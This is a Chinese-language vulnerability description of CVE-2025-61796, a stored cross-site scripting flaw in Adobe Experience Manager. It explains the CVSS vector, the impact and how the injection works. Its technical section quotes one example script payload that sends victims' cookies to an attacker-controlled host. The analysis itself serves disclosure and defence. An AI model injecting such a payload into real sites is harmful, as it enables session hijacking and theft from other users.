CVE-2025-61796CVE-2025-61796是Adobe Experience Manager(AEM)11.6及更早版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞由Adobe产品安全事件响应团队(PSIRT)发现并报告,于2025年10月14日正式披露。其CVSS 3.1基础评分为5.4分,属于中危级别。
该漏洞的核心问题在于AEM的某些表单字段未对用户输入进行充分的输出编码和过滤,导致低权限攻击者可以将恶意JavaScript代码注入到这些易受攻击的表单字段中。由于属于存储型XSS,恶意脚本会被持久化存储在服务器端,当其他用户(受害者)访问包含该恶意字段的页面时,浏览器会自动执行注入的脚本代码。
此漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L)且需要用户交互(UI:R)。漏洞的作用域已发生变化(S:C),这意味着被攻陷的组件会影响其他安全域。机密性和完整性影响均为低,无可用性影响。
成功利用此漏洞的攻击者可以在受害者的浏览器上下文中执行任意JavaScript代码,可能导致会话劫持、敏感信息窃取、钓鱼攻击或进一步权限提升等后果。由于AEM被广泛应用于企业内容管理和数字体验平台,此漏洞可能对使用AEM的网站和应用程序构成显著安全风险。
该漏洞属于典型的存储型XSS漏洞,其技术原理如下:
1. **输入验证缺失**:AEM 11.6及更早版本的某些表单字段在处理用户提交的数据时,未对HTML/JavaScript特殊字符(如<、>、"、'、&等)进行充分的过滤或编码,导致攻击者可以直接提交包含恶意脚本的内容。
2. **存储机制**:攻击者利用低权限账户登录AEM后,通过表单提交将恶意JavaScript代码(如`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`)注入到数据库中。由于缺乏输出编码,这些恶意内容被原样存储。
3. **触发执行**:当受害者浏览包含该恶意字段的页面时,服务器将存储的恶意内容原样返回给浏览器,浏览器将其解析为可执行脚本并自动执行。
4. **作用域变更(S:C)**:CVSS向量中标记了Scope Changed,表示利用该漏洞可以突破AEM组件的安全边界,影响到同一浏览器上下文中的其他安全域或应用程序。
5. **利用条件**:攻击需要低权限认证(PR:L),这意味着默认配置下的注册用户即可发起攻击;同时需要用户交互(UI:R),受害者需要主动访问包含恶意内容的页面或点击恶意链接。
6. **潜在危害**:执行恶意脚本后,攻击者可以窃取用户的会话Cookie、进行钓鱼攻击、篡改页面内容、劫持用户会话,或利用受害者的权限执行未授权操作。